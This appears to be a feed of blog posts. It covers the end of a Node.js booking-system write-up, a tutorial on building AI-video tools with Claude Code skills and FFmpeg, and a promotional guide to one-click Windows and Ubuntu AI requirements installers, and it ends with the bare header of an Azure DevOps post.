The route eventually responds with HTTP "201 Created", along with a success message and the saved booking.

9. Lessons from the Implementation

Building this workflow brought several backend engineering considerations into focus.

Validate before creating external resources. Checking the request and current bookings before calling Google reduces unnecessary API operations.

Separate responsibilities. Keeping the Calendar integration in its own utility makes the Express route easier to understand and maintain.

Handle partial failures. MongoDB, Google Calendar, Airtable, and an email provider are independent services. A successful operation in one does not guarantee success in the others.

Treat concurrency as a separate problem. Checking for overlapping bookings is necessary, but it does not by itself protect against two simultaneous requests reserving the same slot.

Design for observability and recovery. Logging an error helps with debugging, but production systems also benefit from structured logs, retry mechanisms, delivery tracking, and reconciliation workflows.

These considerations extend beyond booking applications. Any backend that coordinates a database with multiple external APIs needs a plan for partial failures and retries.

Conclusion

Building the JOPAD Advisory booking system from scratch gave me practical experience connecting a Node.js backend to Google Calendar, generating Google Meet links, storing bookings in MongoDB, maintaining a secondary Airtable record, and triggering email notifications.

The most important lesson is that integrating APIs is only one part of building a reliable application. The surrounding workflow—validation, conflict detection, persistence, failure handling, and recovery—is just as important.

A booking endpoint can appear simple from the frontend, but it coordinates several systems that can succeed or fail independently. Understanding those interactions is what turns an API integration into a more complete engineering solution.

I'm continuing to explore ways to make these workflows more resilient, especially around concurrent bookings, retries, and recovery from partial failures.

If you're building a booking platform or integrating third-party services into a Node.js application, I'd be interested to hear how you approach these challenges.

AI videos with Claude Code for beginners: 11 prompts, $0.62

Fri, 23 Oct 2026 12:18:34 +0000

I start in an empty folder with a fresh Claude Code and teach it to make images, voices and music, and to edit them with FFmpeg. At the end it makes a 101-second narrated space story. Every prompt I used is here, ready to copy.

The way of the Jedi

A few months ago I started making AI videos. I didn't plan that. I had never seen myself as an AI video creator. I just wanted to try to create some video materials for my text game. And oh boy... I got lost in this.

I never planned to make music videos either. And yet, here I am:

Watch Item Nine on YouTube

And you know what? So many people are doing this wrong. The AI video world is the wild west - no standards, no best practices, no rules. And a lot of people constantly trying to sell you their tools. Or the idea that you need some tool. You don't. Really.

My path is different. Like a Jedi who had to build their own lightsaber, a true video creator should build their own tools. Unique and personal, with a sparkle of your taste. Only then will you be free to create whatever you want. I started with some promo videos, then jumped into funny shorts, then into my own anime, then into music videos. Who knows what I'll be doing tomorrow? I don't believe in other people's tools.

I'll show you how to build your own AI video tool, pipeline, workflow, engine, harness - whatever the name is.

This article is a text version of this video:

Watch the tutorial on YouTube

The tool

I'm an AI minimalist - I believe in a simple setup and simple words. I'm using Claude Code with a bunch of skills - that's it. And it can actually be any up-to-date coding assistant (a harness) with any frontier model. Claude Code with Opus 5.5 is a great choice if you are ready to pay $100/month + the cost of generated assets, but you can lower the budget and be all right.

Here's what I would pick for different price ranges, per month:

$100: Claude Code or Codex
$20: Google AI Pro
Chinese coding plans: Kimi $20/$40, GLM $20/$80, MiniMax $11/$30

Pick one in your price range and get used to it. Everything below works the same in Codex or any other harness.

Skills support is the only requirement. Skills are our plugins, addons, extensions - all the new functionality and experience we are going to add to the base harness. What functionality do we need? Two things really:

Ability to generate assets (images, animations, sounds, voices);
And ability to edit a video.

Why skills

They are just text files. They work as lazily loaded prompts. Each skill has a short description and a body - only the descriptions are loaded into the context. The model decides from these descriptions when to load the rest of a skill. You can have a lot of them and nothing is loaded into the context unless it is needed. That's why I like them more than MCP servers - those put a lot more into the context.

Imagine that you want to teach your brand new Claude Code to generate images using OpenAI API. You explain where to get the API key, you pass the image gen documentation, you let it make some calls and build a few reusable scripts... You let it find the successful path, then ask it to create a skill with it. This skill will contain the successful path, the exact steps and scripts location, usage examples, all the useful settings, and the description when to use this skill.

And you don't write skills yourself. You only say "remember the successful path, create a skill for this". Next time it doesn't search - it loads the skill and does everything from the first attempt. I wrote more about how my skills grew in How to start creating AI videos from scratch. Here we just build them, one by one. We need four groups:

images,
voices,
music (oh, this one is magical),
editing (you would be expelled from Hogwarts for this one).

From complete scratch

Here is what we start with:

an empty folder
a fresh Claude Code session that knows nothing about you
three API keys

And here is what we end with:

8 skills the harness wrote for itself
a 101-second narrated story with 10 illustrations, music and camera moves
a costs.csv that says we spent $0.62

It took about an hour of work. No libraries to install by hand, no platforms, no video editor.

What we build

We build a slideshow. A short story, a voice reading it, and images that change as the story goes.

I know what you're thinking.

A slideshow??? This is ridiculous, so much time has been wasted reading this! I'm leaving!

Yes, a slideshow. This is how you start. A video is a bunch of animated slides (surprise). First you learn to make the slides, set up your harness to do it fast and easy - only then do you think of animating them. Animation is stage two - a place you need to get to.

Images

You need to pick an image model. One model is how you keep the style consistent. Although, sometimes I generate an image with one model and then fix some details with another one. Which means having more than one is a good idea.

I think the best one right now is OpenAI GPT Image 2.5 (gpt-image-2.5-sunburst). In our demo one image cost $0.04 at 1536x1024. A 4K image costs about $0.12.

I like using it through the official OpenAI API. This gives me the latest version, all the features like editing, good docs with examples and best practices I can pass to the AI. This might not be the cheapest option, but we are going to pay less than $1 for 10 images.

To teach our harness to use GPT Image 2.5 we do the following:

Go to the OpenAI API platform, create a profile, create an API key.

Store it somewhere. Ask your AI how to do it properly. For example, I keep my keys in the macOS Keychain. Claude Code wrote a script that gets the key and makes the API call - it never sees the key itself.

Then open the docs page for image generation. Most docs sites now have the "Copy page" button that copies the whole page as markdown.

Copy it, paste it into the harness, and ask:

Hi! I want to make AI videos in this folder, starting from zero. Step one: teach yourself to generate images with OpenAI GPT Image 2.5 (gpt-image-2.5-sunburst). My API key is in macOS Keychain, account ai-video-demo, service vid-oai. Never print it. Here is the documentation: [docs] Make one test image: a lonely research station on a frozen moon, Saturn huge in the sky, cinematic, 1536x1024.

That's the magic of modern harnesses. It reads the doc, writes a small script, runs it, fixes its own errors, and gives you an image. Ours took 32 seconds and $0.04.

Then:

Nice. Now create a skill for this, so you remember the successful path next time. Name it gpt-image, and describe it as our main skill for images.

It's good to have more than one model. My second favorite is Nano Banana 2.1. The docs are here:

Great. Let's add a second image model as an alternative: Nano Banana 2.1 (Gemini image, gemini-nano-banana-2.1). Gemini key is in Keychain, account ai-video-demo, service vid-gem. Docs: [docs] Generate the same frozen moon scene with it so we can compare the two models side by side. Then make a skill for it called nano-banana.

Same frame, $0.10.

We won't be using Midjourney here, although most AI content creators prefer this model over anything else. It gives better realism and really unique visuals. But it doesn't have an official API and it's harder to get great results out of the box. Feel free to explore this model yourself. I use it via the EvoLink platform: Midjourney 8.2 page.

House rules

Before going further, I set some rules for the project. They go into CLAUDE.md, a file the harness reads at the start of every session:

Before we go further, let's set some house rules for this project and write them into CLAUDE.md. 1) Cost tracking: every paid API call gets a row in costs.csv (date, service, model, what, cost in USD). Don't trust your memory for prices, use these official pricing pages. Gemini: [pricing page] OpenAI: [pricing page] Add rows for the two images we already made. 2) Work log: after every step that creates a file, append a short entry to WORKLOG.md: what, which tool and model, the full prompt, the output file, the cost. 3) Project structure: every video gets its own folder, projects/NAME/, with images/, voices/, music/, cuts/ and final/ inside. Move the two test images to projects/tests/images/.

Cost tracking is everything. Did I mention that real animation is very expensive? I spend around $100 on my 4 min music videos. People keep telling me that it can be cheaper, but it's usually theory. I haven't heard it from people who actually make videos. In any case, if you track costs you are in control. If it's getting too expensive, you switch to cheaper models and change the technique.

And this is why it's important to master slideshows - sometimes you can get away with a still image even in a high quality cinematic video. It can save you tons of money.

Voice

There is ElevenLabs, and it's the best voice platform. Great voices, lots of settings. It's also the most expensive and a bit hard to use. I'd start with Gemini voice models instead. They're very cheap, and you can describe in words what voice you want. Or you can just ramble your preferences to Claude Code, and it turns them into the Gemini voice instruction for you.

Images done. Now voices. Teach yourself Gemini text-to-speech (gemini-3.8-flash-tts), same Gemini key. Docs: [docs] Test line: "The station had been silent for three hundred days. Then, at midnight, the radio woke up." Calm, low female narrator, a little mysterious. Save it in projects/tests/voices/. When it works, create a skill called gemini-voice.

It picks the voice by its description. The one it chose is described as "deep, velvety, and unhurried".

A bonus model: Kokoro. It runs fully on your computer, on the CPU, for free.

Good. Now a free one: can we have the Kokoro voice model (Kokoro-82M) running locally on my CPU? Download it, write a script, read the same line with a female voice, and make a skill called kokoro-voice. This Mac has 16 GB of RAM, so keep it light.

It downloads the model, writes a script to run it, and makes a skill. Simona, my AI assistant, uses Kokoro to read her replies to me out loud every day. We created a Claude Code hook for this - but it's a separate topic.

Kokoro is not very configurable, but it's free and lightweight, so add it. Use it for drafts or long texts - it can read books or articles to you.

And the premium one:

Last voice, the premium one: ElevenLabs. Key is in Keychain, account ai-video-demo, service vid-el. Docs: [docs] Read the same line once with a calm female narrator voice, model eleven_multilingual_v2. Make a skill called elevenlabs-voice. Then put the best Gemini take, the Kokoro take and this one side by side in projects/tests/voices/ so I can compare them.

The same line, three engines:

Engine	Cost of the line	What you control
Kokoro (local)	$0	speed only
Gemini TTS	$0.0025	a style prompt in plain words
ElevenLabs	$0.0071	voice settings, a huge voice library, cloning

You can hear all three in the video at 10:30.

Music

There are music services. Suno is the most famous one. For this video we use something simpler, free, and very magical: Python.

You don't code anything. You just ask:

Voices done. Now music, completely free: using Python, can you generate some electronic music for a video? A calm, slightly eerie ambient track, about 60 seconds, for a sci-fi story about a lonely station on a frozen moon. No samples, just code. Save it to projects/tests/music/ and make a skill called python-music.

You won't get rock music or vocals. But you get decent electronic background music for a simple video. It can't listen to its own track, so it checked it by looking at the spectrogram.

You can hear the track in the video at 11:14.

It's hard to give feedback on this kind of music. My AI and I don't have shared words for drones, ambient pads and noises yet. But it's interesting - over time we can build those words and understand each other better. Make this higher, reduce the humming, let's add some random notes...

That's the only music skill I have. When I need more, I go to Suno by hand. It has no API.

Editing

Two more skills. The main one is FFmpeg. It's a terminal tool with no UI, and AI is very good with it. It can make a video from images, cut a video into pieces, swap them, pull out frames, add sound, change volume. A full video editor in the terminal. The model already knows it, and the tool has its own docs built in.

Now the first real video, from one prompt:

Now our first real video. Write a short story about space, 8 to 10 sentences, about that lonely station on the frozen moon whose radio wakes up. Split it into parts and make 6 illustrations for it with gpt-image, 16:9, same style in every frame. Voice the story with Gemini. Make a music track for it with python-music and keep it quiet under the voice. Then use FFmpeg to put it all together into a 1920x1080 slideshow video where the images follow the story. New project folder for it. When it works, create an ffmpeg skill with the successful path.

It worked. But each image stayed on screen for 17 seconds, which is way too long.

To switch images at the right moment, you need timings: when exactly each word is spoken. There is a small local model for that, faster-whisper. You don't need to know its name. Just tell the harness you need the exact timing of each word.

It works, nice! Two things to improve. First, each image stays on screen for 17 seconds, that's too long. Let's do one image per sentence (keep the 6 we have, add the missing ones in the same style). To switch images at exactly the right moment, we need word timings: set up a small local transcription model (faster-whisper) that tells us when each word is spoken, and make a skill for it called transcript. Second, what other effects can FFmpeg do on still images besides zoom? Use a few of them in v2 where they fit the story, for example a slow pan across a wide image, a little camera shake when the radio wakes up, a light pulse when the station lights come on. Render it as v2, keep v1.

About the effects. Once the slides are together, you'll see they move a little: a slow zoom in or out. Ask what else FFmpeg can do. It can zoom in any direction. It can scroll across a wide image through a narrow window. It can shake the frame. It can play with brightness, like a light pulse. This matters later: you don't always need expensive animation. Often a still image with a good effect is enough.

There is one unwanted effect: the shaking. Zooming recalculates the frame size over time, and rounding to whole pixels creates tiny mistakes. This creates jitter, and a model cannot see it. I can, so I asked it to get rid of the jitter and remember the fix in the skill. Although sometimes shaking might be useful.

The result

Watch the story on YouTube, from 14:21

The story starts at 14:21 in the video.

The station had been silent for three hundred days. It sat alone on the frozen plains of a nameless moon, where Saturn filled half the sky. [...] Then she leaned toward the microphone and said, "This is Kepler Station. We are still here."

And if you don't like some part of it, just ask. The harness has all the source files and all the timings. Change one line, render again.

The last prompt is a quick tour of what we built:

Looks great. Last thing for today, a quick tour so I can see what we built: list our skills with their one-line descriptions, show me how much we spent in total from costs.csv, the last few entries of WORKLOG.md, and the folder structure of the project. Just show them, no changes.

Here is the full bill:

What	Calls	Cost
Images, GPT Image 2.5	12	$0.489
Images, Nano Banana 2.1	1	$0.102
Voice, Gemini TTS	8	$0.026
Voice, ElevenLabs	1	$0.007
Voice Kokoro, music, FFmpeg, faster-whisper	-	$0
Total		$0.624

The docs I pasted

Where a prompt says [docs], I pasted the whole page with "Copy page":

OpenAI images: https://developers.openai.com/api/docs/guides/image-generation
Gemini images: https://ai.google.dev/gemini-api/docs/image-generation
Gemini TTS: https://ai.google.dev/gemini-api/docs/speech-generation
ElevenLabs: https://elevenlabs.io/docs/api-reference/text-to-speech/convert
Prices: https://ai.google.dev/gemini-api/docs/pricing and https://developers.openai.com/api/docs/pricing

What's next

This is more than enough to start. It's how I started. My very first video, Sleeper AI episode 1, is still one of my favorites. Half of it is static images and HTML. You can do a lot with static images.

In the next episode we animate some of these slides. Or build an episode of my shorts series together.

If you get stuck, or want to show what you made, come to our Discord: https://discord.gg/PVY9dpU8X5

Zero to AI-Ready PC in One Click: Windows & Ubuntu AI Requirements Installer Full Tutorial

Sun, 18 Oct 2026 00:07:22 +0000

Zero to AI-Ready PC in One Click: Windows & Ubuntu AI Requirements Installer Full Tutorial

Full tutorial link > https://www.youtube.com/watch?v=ptuLL0C72Ms

The 1-Click Windows and Ubuntu AI Requirements Installers set up your PC for AI apps such as ComfyUI, SwarmUI, music, text-to-speech and text-to-3D tools: one click on Windows, one command on Ubuntu. They install the latest NVIDIA driver, CUDA 12.9 + 13.2, cuDNN 9.20, Python 3.10-3.14, the C++ build tools, Git, Node.js, .NET SDK and FFmpeg, set PATH in the right order, test everything for real (78 Windows and 66 Ubuntu tests passed on our test PCs) and show every result in a detailed HTML report.

Chapters:

00:00:00 One click sets up your PC for AI: all tests passed
00:00:17 Windows 10, 11 and Ubuntu 22, 24, 26: ready for any AI app
00:01:03 Download the latest zip and extract it in Downloads
00:01:19 Right-click the .bat and choose Run as administrator
00:01:38 The 20 steps begin: long paths, Store Python removed
00:01:50 CUDA 12.9 + 13.2 toolkits, then cuDNN for PyTorch
00:02:14 Visual Studio 2022 Build Tools and the VC++ runtime
00:02:43 Python 3.10 to 3.14, with 3.12 as the default
00:03:12 Git, Node.js 24, .NET SDK and FFmpeg
00:03:48 PATH order, Git long paths and the page file
00:04:09 Triton cache, NVIDIA driver and the final tests
00:04:32 The HTML report: 78 tests, every step, PATH and backups
00:05:13 Transparent source files, logs.txt, then restart Windows
00:06:05 Ubuntu 22.04, 24.04, 26.04: one sudo command
00:07:00 Rerun any time to update; GCC, Clang, CMake, Ninja
00:07:46 Ubuntu report: OK messages, warnings and logs.txt
00:08:54 One-time setup, ready for our apps and other AI apps
00:09:30 Latest installer version, the guide post and support

What it installs on Windows: the latest compatible NVIDIA WHQL driver for GeForce RTX 20-series and newer (checked on every run, never downgraded); Python 3.10 to 3.14 for all users, 3.12 as default; CUDA 12.9 and 13.2 side by side (13.2 default) and cuDNN 9.20, the only cuDNN registered, so PyTorch never mixes two versions; Visual Studio 2022 Build Tools (MSVC, Windows SDK) that keep compiling after Visual Studio updates, the latest Visual C++ runtime and CUDA integration; Git, Node.js 24, .NET 10 SDK for SwarmUI, FFmpeg 9 shared and static; PATH in the right order with your own entries kept, long paths, a 100 GB page file. Ready for torch.compile, Triton and flash-attention, sage-attention, xformers and insightface builds.

On Ubuntu the C++ tools are GCC, Clang, CMake and Ninja, plus Git LFS, uv, free-threaded Python 3.13t and 3.14t and a swap file. With an NVIDIA GPU it installs the newest driver Ubuntu offers and never downgrades it. Ubuntu's own python3 stays as it is.

Windows: put the zip in Downloads (not directly on C:), extract it, right-click Windows_AI_Requirements_Installer.bat and choose Run as administrator. Nothing has to be installed first. Ubuntu: open a terminal in the folder and run sudo bash ./Ubuntu_AI_Requirements_Installer.sh (24.04 recommended).

Afterwards the HTML report opens and logs.txt is saved next to the installer. Restart your PC and open a new terminal for the new PATH. You need this setup only once, not for every app. When the post shows a newer version, run the new one: finished parts are only checked, failed parts are repaired and components are updated, with backups first (--restore-env puts them back).

Tested for real: the tests compile and start C++ and CUDA programs, build Python and PyTorch-style CUDA extensions, compile GPU code for RTX 50 cards, encode a video and build a .NET app, in the environment a new terminal gets; the optional PyTorch GPU test runs with --torch-test. Supported: Windows 10 (21H2+) and 11; Ubuntu 22.04, 24.04 and 26.04 (desktop, server, cloud GPU, WSL2, Linux Mint, Zorin OS), 64-bit x86. Without an NVIDIA GPU everything still installs and compiling works; CUDA apps need an NVIDIA GPU.

This video is for anyone who wants to run AI apps locally without installing CUDA, Python and C++ tools by hand.

For support, questions or installation issues, check the links above, the pinned comment, Patreon, Discord and the video comments, and send your logs.txt if a step fails. Thank you for watching.

1-Click Windows and Linux (Ubuntu 22, 24, 26) AI Requirements Installers - Setup Your PC and Make It Ready for All Local AI Apps, Scripts, and More

https://www.patreon.com/SECourses/posts/1-click-windows-172290854

Our AI Requirements Installers set up a Windows or Ubuntu PC for all our AI apps: one click on Windows, one command on Ubuntu. They install the latest NVIDIA driver, Python 3.10 to 3.14, CUDA 12.9 and 13.2, cuDNN 9.20, the C++ compilers, Git, Node.js, .NET and FFmpeg, set every path and variable, test everything for real and show the result in a clear report. Below you will see the real reports of a Windows 11 PC with an RTX 3090 Ti and a fresh Ubuntu 24.04 PC.

This installer will get updated as needed like when we move to Torch 2.14 and CUDA 13.4.
I have been constantly getting asked how to make initial setup easy and here you have it.
Once you run this installers, your PC will be fully ready to run all of our AI apps with perfect speed, accuracy and quality.
For Windows, recommend version is Windows 11 but should work both Windows 10 and 11
For Ubuntu, recommended version is Ubuntu 24 but should work both Ubuntu 22 and 26 too
You can run multiple times with no issues if first install fails for any reason, don't forget to restart system after running installation
This is only app that you need to run as administrator do not forget
- All of my other apps, scripts, installers are run with double click or select and hit enter
Older manual installation : https://youtu.be/DrhUHnYfwC0

Why Our AI Requirements Installers

One click on Windows, one command on Ubuntu: right-click the .bat and choose Run as administrator, or run one sudo command in a terminal. Nothing has to be installed first.
Made for our apps and their full features: ComfyUI, SwarmUI, SECourses Musubi Trainer, AI Toolkit, Ultimate TTS, Premium Upscaler Pro, Video Captioner Pro and more, with torch.compile, Triton, flash-attention, sage-attention, xformers and insightface builds.
The latest NVIDIA driver: Windows gets the newest compatible WHQL driver for GeForce RTX 20-series and newer cards, checked with NVIDIA on every run. Ubuntu gets the newest driver Ubuntu offers, R595 or newer. The driver step runs last, and a working driver is never downgraded.
Several versions side by side: Python 3.10, 3.11, 3.12, 3.13 and 3.14 with 3.12 as the default, and CUDA 12.9 and 13.2 with 13.2 as the default. Ubuntu also gets the free-threaded Python 3.13t and 3.14t.
Tested for real: 78 tests on Windows and 66 on Ubuntu compile and start C++ and CUDA programs, build Python and CUDA extensions, encode a video and build a .NET app, in the same environment that a new terminal gets. On the RTX 3090 Ti, the CUDA test programs ran on the GPU with correct results.
Fast: the Windows 11 PC with the RTX 3090 Ti was installed, updated and tested in 20 minutes 45 seconds, with the CUDA and cuDNN installers already downloaded by an earlier run.
Made for PCs that already have tools: an existing Visual Studio is updated, a current Visual C++ runtime is left alone, and an older Python from the Python Install Manager is backed up while its virtual environments keep working.
A clear HTML report: every component, step, path, variable, test, download and backup on one page, opened in your browser at the end.
The right cuDNN every time: only cuDNN 9.20 for CUDA 13 is registered, so PyTorch always loads one matching cuDNN.
Ready after updates and in every terminal: compiling keeps working after Visual Studio updates on Windows, and on Ubuntu every new terminal is ready, bash, zsh and login shells included.
Safe on your PC: every change is backed up first and one command restores it. Ubuntu's own Python stays as it is.
Run it again any time: finished parts are only checked, failed or interrupted parts are repaired, and components and the NVIDIA driver are updated.

Here are both reports right after the installation:

1 and 3: everything installed and verified, every test passed. 2: the full installation time on the Windows 11 PC with the RTX 3090 Ti. Its CUDA and cuDNN installers were already downloaded by an earlier run.

What You Download

You get small script files. They download everything else and check each download.

1: on Windows you start the .bat. It comes in Windows_AI_Requirements_Installer.zip together with Windows_AI_Requirements_Installer.py, which must stay in the same folder. 2: on Ubuntu you run the .sh. The two text files explain every step and option.

Windows AI Requirements Installer

How to Run It

Extract the zip, right-click Windows_AI_Requirements_Installer.bat and choose Run as administrator. A normal double-click works too: it asks Windows for administrator rights by itself. The .bat brings its own temporary portable Python from python.org, so nothing has to be installed first.

When it finishes, the HTML report opens in your browser and logs.txt is saved next to the .bat. Open a new Command Prompt or PowerShell window to use the new PATH. Windows is never restarted for you: restart it when the report asks, and if a new NVIDIA driver asked for the restart, run the installer again afterwards to finish the tests.

What It Installs

The report starts with every installed component, its version and its folder:

1: the latest NVIDIA WHQL driver, 617.42 on this PC. 2: Python 3.10 to 3.14 for all users in C:\Python310 to C:\Python314, and python, pip and py start Python 3.12. 3: CUDA 12.9 and 13.2 side by side with 13.2 as the default, and cuDNN 9.20. 4: FFmpeg 9 in a shared and a static build. 5: a 100 GB page file. You also get Visual Studio 2022 Build Tools with the MSVC C++ compilers and the Windows SDK, the latest Visual C++ runtime, Git, Node.js 24, the .NET 10 SDK for SwarmUI and Windows long paths.

20 Steps, Every One Timed

The Steps table shows each step with its status and time. Open the messages of any step to see exactly what it did:

On this Windows 11 PC with an RTX 3090 Ti, CUDA 12.9 and 13.2 took 5 minutes, updating its Visual Studio Build Tools 3 minutes and the five Python versions 5 minutes. PATH and the variables were backed up before they changed, the NVIDIA driver step ran last, and the tests took 1 minute 48 seconds. The CUDA installers leave out their bundled older display driver, because the driver has its own step.

The Latest NVIDIA Driver

The installer keeps your NVIDIA driver up to date. It runs as the last installation step, right before the tests:

1: the driver comes after CUDA, cuDNN and every other part, so a driver restart never comes before the other installers. 2: it finds GeForce RTX 20-series and newer desktop and laptop cards by their hardware IDs, even with no driver installed yet. 3: it asks NVIDIA's live service for the newest compatible WHQL driver on every run, downloads the official NVIDIA-signed package and installs only the display driver. 4: a driver that is already the newest is kept, as here. Use --skip nvidia to keep your driver, or --only nvidia to update just the driver.

Made for PCs That Already Have Tools

This PC already had Visual Studio Build Tools, a .NET SDK and a Python 3.14 from the Python Install Manager. The installer worked with what was there:

1: the existing Visual Studio Build Tools were updated to the latest 17.x. 2: the Visual C++ runtime was already current, so it was left alone. 3: the old Python 3.14 was unregistered with a backup, and py -3.14 now starts the new Python for all users. 4: a link keeps every existing virtual environment of the old Python working. The new .NET SDK was added next to the one already there.

PATH in the Right Order

The PATH order decides which Python, CUDA and cuDNN every app finds. The installer puts each folder at the top of the system and user PATH in the right order and shows the result in color:

Green entries were added, blue ones moved to the top, and white ones are your own entries, kept as they were. cuDNN and CUDA 13.2 come first, then the Windows system folders, then Python 3.12 and the other versions, the C++ build paths and the FFmpeg shared build. 7: the entries of your other programs stay after ours. Your PATH before the change is listed below the table.

Environment Variables

The installer sets the variables that compilers and PyTorch extension builds look for, and it shows each one before and after:

1: CUDA_HOME points to CUDA 13.2. 2: CUDNN_PATH points to the cuDNN 9.20 root that torch extension builds and CMake expect. 3: INCLUDE, LIB and LIBPATH make the C++ compiler work in every new terminal, like the Visual Studio developer prompt. 4: nvcc gets the flag it needs with the MSVC compiler. VSLANG keeps compiler messages in English for torch.compile, and values that were already correct stay unchanged.

Visual Studio Updates Keep Compiling Working

Visual Studio installs every compiler update into a new version folder. Our installer gives PATH, INCLUDE and LIB fixed paths that always lead to the current compiler and Windows SDK:

1: a fixed path leads to today's MSVC version. 2: a scheduled task points the paths at the new version at startup, at logon, after Visual Studio updates and every day, so open terminals keep working. 3: the 100 GB page file goes on the fastest suitable drive, chosen here from three drives.

78 Tests, Run for Real

At the end, the installer tests everything with exactly the PATH and variables that a new terminal or app gets:

All 78 tests passed. The first group checks that every command finds the right program: nvcc finds CUDA 13.2, cuDNN for CUDA 13 comes first, cl is the MSVC compiler, ffmpeg is the shared build, and the Windows system folders stay in front.

Every Python version is started and checked:

Each version runs with ssl, sqlite3, ctypes and tkinter, creates a virtual environment and runs pip in it, and has the headers and libraries that compiling extensions needs. The nvitop GPU monitor is installed too.

CUDA 12.9 and CUDA 13.2 are tested the way PyTorch uses them:

The tests compile, link and start a CUDA program, and on the RTX 3090 Ti its GPU result was correct with both CUDA versions. They compile the Thrust and CUB code that PyTorch extensions use, compile GPU code for RTX 50xx (Blackwell) cards and compile a kernel at run time with NVRTC. cuDNN is built into a C++ program and loads the way onnxruntime and insightface load it.

The C++ tests build what torch.compile, Triton and pip build on your PC:

An OpenMP library is built and loaded from Python, like torch.compile does on the CPU. A Python C extension is built the way pip builds insightface. CUDA 12.9 and CUDA 13.2 extensions are built with the compiler that PyTorch picks, the same way flash-attention and xformers are built. CMake and Ninja projects build too, and their CUDA programs ran on the GPU with correct results.

The last groups test FFmpeg, Git, Node.js, .NET and Windows itself:

FFmpeg encodes a test video and reads it back, and its DLLs load the way torchcodec and torchaudio look for them. A .NET console app is created, built and run, as SwarmUI needs. A file path longer than 260 characters works, and the 100 GB page file is set.

Checked Downloads and Backups

Every download is checked before it is used, and every change is backed up first:

1: every installer must carry a valid digital signature from NVIDIA, Microsoft, the Python Software Foundation or its other publisher. 2: archives pass an integrity check. 3: send us logs.txt when you ask for help. 4: the backup folder holds HOW_TO_RESTORE.txt. 5: one command puts PATH and every variable back.

Windows Options

--dry-run: shows the plan and changes nothing.
--only nvidia: checks for and installs just the latest compatible NVIDIA driver.
--skip nvidia: keeps your current driver during a full installation.
--only env,verify: runs only the steps you name. --skip skips steps, and --list-steps lists them.
--torch-test: installs PyTorch 2.13 with CUDA 13 in a temporary environment and runs real cuDNN convolution and BLAS tests on your NVIDIA GPU.
--restore-env "backup folder": puts PATH and the variables back from a backup.
--no-browser: keeps the report from opening automatically.

Pass them to the .bat from a terminal, for example:

Windows_AI_Requirements_Installer.bat --dry-run

Ubuntu AI Requirements Installer

How to Run It

It works on Ubuntu 22.04, 24.04 and 26.04 LTS: desktop, server, cloud GPU machines and WSL2, and on systems based on them such as Linux Mint and Zorin OS (64-bit x86). Put Ubuntu_AI_Requirements_Installer.sh into a folder, open a terminal there and run:

sudo bash ./Ubuntu_AI_Requirements_Installer.sh

Enter your password, and the rest is automatic. At the end, the HTML report opens in your browser, and the report and logs.txt are saved next to the .sh file. Open a new terminal afterwards, and restart Ubuntu when the report asks for it after a new NVIDIA driver. The installation keeps running even if you close the terminal.

What It Installs

The Ubuntu report starts with the same overview:

1: Python 3.10 to 3.14 and the free-threaded 3.13t and 3.14t. python and py start Python 3.12, and Ubuntu's own python3 stays as it is. 2: CUDA 12.9 and 13.2 with cuDNN 9.20 for CUDA 13 (CUDA 13.4 on Ubuntu 26.04). 3: FFmpeg 9 in a static and a shared build. 4: a swap file for 100 GB of swap in total. GCC, Clang, CMake, Ninja, Git with Git LFS, Node.js 24, the .NET 10 SDK and uv come too.

17 Steps, the NVIDIA Driver Last

Each step is listed with its time:

The installer first repairs the package system and adds the software sources for CUDA, Python and Node.js. On our fresh PC, the seven Python versions took 43 seconds and the tests 28 seconds. You also get aria2, 7-Zip, unrar, nvtop, htop and cloudflared for the apps' share links.

On a PC with an NVIDIA GPU, the driver step installs the newest driver that Ubuntu offers for the card, R595 or newer (R615 on Ubuntu 26.04), with open kernel modules from Ubuntu's signed packages. It upgrades the driver again on every run, never downgrades it, and gives RTX 50 (Blackwell) cards the open kernel module they need. It runs last, right before the tests.

Ready in Every New Terminal

The environment is written once for all users and loaded by every kind of terminal:

1: login shells, bash and zsh all load it. 2: use-cuda 12.9 switches one terminal to CUDA 12.9 when you need it. 3: CUDA_HOME, CUDA_PATH, CUDNN_PATH and the CUDA tools in PATH are set for all users. 4: this file is what every new terminal loads. The libraries are registered system wide, so no LD_LIBRARY_PATH is needed, and lines in ~/.bashrc and similar files that switch to another CUDA version are removed with a backup.

66 Tests, Run as You

Every test runs as your user with exactly the environment that a new terminal gets:

All 66 tests passed. Each Python version runs with ssl, sqlite3, lzma, readline and tkinter, creates a virtual environment with pip and compiles a C extension.

The CUDA tests build and start programs with both CUDA versions:

They compile the Thrust and CUB code of PyTorch extensions and GPU code for RTX 50xx (Blackwell) cards, check that use-cuda 12.9 switches a terminal and back, and check that every program finds the CUDA and cuDNN libraries by name, like ONNX Runtime does.

Then come the C++ and FFmpeg tests:

GCC and Clang compile C++17, an OpenMP library is built and loaded like torch.compile does on the CPU, and a GPU launcher is built the way Triton compiles one at run time. FFmpeg encodes a test video and offers the x264, x265, SVT-AV1, VP9 and NVENC encoders. Its shared libraries are found the way TorchCodec looks for them, and the files for building PyAV and decord are in place.

The last groups check the tools and your own terminal:

Git LFS, Node.js, .NET, aria2c, 7-Zip, unrar, jq, cloudflared, nvtop and htop all work, and a .NET app builds as SwarmUI needs. Your own terminal uses CUDA 13.2, and your ~/.bashrc, conda or pyenv settings keep the installed tools in reach.

Before and After, Downloads and Backups

The end of the report shows what changed and where everything is:

1: a fresh Ubuntu before, everything installed after. 2: every download is checked, the archives with SHA-256. 3: every APT package of the run is listed. 4: every changed file is backed up with HOW_TO_RESTORE.txt. 5: one command restores the files, and another removes what the installer added.

Ubuntu Options

--yes: starts without a question, for scripts and cloud machines.
--dry-run: shows the plan without changing packages or settings.
--skip and --only: skip steps or run only some, for example --skip nvidia keeps your driver (--list-steps lists them).
--swap-gb 32: sets the size of the swap file (0 = no swap file).
--torch-test: tests PyTorch 2.13 with CUDA 13 in a temporary environment: cuDNN convolution, BLAS, loaded libraries and torch.compile.
--repair: after a power loss or crash, checks every installed package and reinstalls damaged ones.
--restore-env "backup folder": puts back the files it changed.
--uninstall: removes what the installer added outside of APT.

Example:

sudo bash ./Ubuntu_AI_Requirements_Installer.sh --yes --skip swap

Run It Again Any Time

Both installers are made to run again and again. Finished parts are only checked, failed or interrupted parts are retried and repaired, and components are updated to the versions in the installer. The NVIDIA driver is checked again on every run, too. Run the newest installer whenever you download it, and your PC stays ready for our newest apps.

How to bulk edit Azure DevOps work items without Excel (works on Mac)

Wed, 14 Oct 2026 13:45:05 +0000

title: "How to bulk edit Azure DevOps work items without Excel (works on Mac)"
published: true
